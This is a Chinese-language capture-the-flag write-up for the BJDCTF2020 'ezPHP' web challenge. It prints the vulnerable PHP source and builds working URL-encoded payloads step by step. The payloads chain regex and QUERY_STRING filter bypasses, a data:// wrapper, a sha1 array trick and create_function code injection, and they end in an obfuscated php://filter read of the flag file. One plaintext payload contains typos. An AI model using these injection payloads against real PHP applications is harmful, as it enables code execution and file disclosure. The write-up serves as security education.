[BJDCTF2020]ezPHP

ctrl+u 获得提示源码地址:

1
2
3
GFXEIM3YFZYGQ4A=
base32解码后:
1nD3x.php

进入获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

有多个绕过,好多个知识点:

1.$_SERVER[‘QUERY_STRING’]绕过

1
2
3
4
5
6
if($_SERVER) { 
if (
//几乎ban掉了payload里所有可能用到的词 preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
$_SERVER[‘QUERY_STRING’]函数不对传入的东西进行url编码,所以把payload进行url编码之后传入即可绕过

(ps:一般的url编码不能把英文字母等非特殊字符也编码,所以本题中如果只是把payload丢到编码器里没有用,但我也只找到这个师傅说了对应的解决办法

英语字符的url编码就是在字符的十六进制前面加了个百分号

2.preg_match绕过

1
2
3
4
5
6
7
8
9
10
if (!preg_match('/http|https/i', $_GET['file']))
//不能包含http|https
{
if (preg_match('/^aqua_is_cute$/', $_GET['debu'])&& $_GET['debu'] !== 'aqua_is_cute')
//需要在debu=xxx中匹配到‘/^&/’,且debu不能为‘aqua_is_cute’
{
$file = $_GET["file"]; //用file=xxx传值
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
‘/^$/‘是正则匹配,^表示以xxx开头,$表示以xxx结尾,现在需要绕过preg_match,所以在dedu=aqua_is_cute末尾加上换行(也就是加上%0a)

3.$_REQUEST绕过

1
2
3
4
5
6
7
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
//要求不能有字母
die('fxck you! I hate English!');
}
}
1
$_POST优先级高于$_GET,所以用POST传入的值会把$_GET中的值覆盖掉

4.file_get_contents绕过

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
此处用data伪协议即可绕过(data://text/plain,~)

5.sha1函数、比较类型数组绕过

1
2
3
4
5
6
7
8
if ( sha1($shana) === sha1($passwd) && $shana != $passwd )
//既要shana和passwd传入的值不相同,又要这两个传入的值经过sha1散列之后强相等
{
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1函数对数组不敏感,所以用shana[]=0&passwd[]=1绕过
//至此为止,满足以上五个条件的payload是:
1
file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=0&passwd[]=1

url编码后就是:

1
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

同时POST传入:

1
file=1&debu=1

2

这样就是最后一个绕过:

6.create_function运用:

1
2
3
4
5
6
7
8
9
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )
//ban了这么这么多,肯定不能用一般方法传入payload了
{
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";//包含了flag.php这个文件
$code('', $arg);
} ?>

code和arg是可更改变量,所以在这两个东西上下功夫

6.1由第5步中(extract函数可见,需要通过flag[arg]=xxx,flag[code]=xxx传参
6.2利用create_function,对于
1
$aaa = create_function('$a, $b', 'return $a+$b;');

相当于

1
2
3
function aaa($a, $b){
return $a+$b;
}

对于

1
$code=return $a+$b;}fction();//

相当于

1
2
3
4
function aaa($a, $b){
return $a+$b;
}
fction();//}(fction为某个任意函数,"//"可以注释掉后面的内容)

应用到本题,可以得到

1
flag[code]=create_function&flag[arg]=}fction();//
6.3由于包含了flag.php这个文件,为了查看所以用到两个函数

var_dump:https://www.php.net/manual/zh/function.var-dump.php

get_defined_vars():https://www.codercto.com/courses/d/863.html

可以利用get_defined_vars()将所有变量和值都进行输出

所以构造payload:

1
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
6.4字母和数字都被ban了,所以跟前面一样,用url编码一下
1
2
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//

POST传参:

1
file=1&debu=1

3

6.5提示了flag在rea1fl4g.php里,所以考虑用require函数,php//filter读取文件
1
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

url编码之后

1
2
require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)

利用异或或者~进行取反操作

1
2
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

替换上一步中的var_dump(get_defined_vars())

最终最终的payload

1
2
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

POST传参:

1
file=1&debu=1

1

4

获得flag!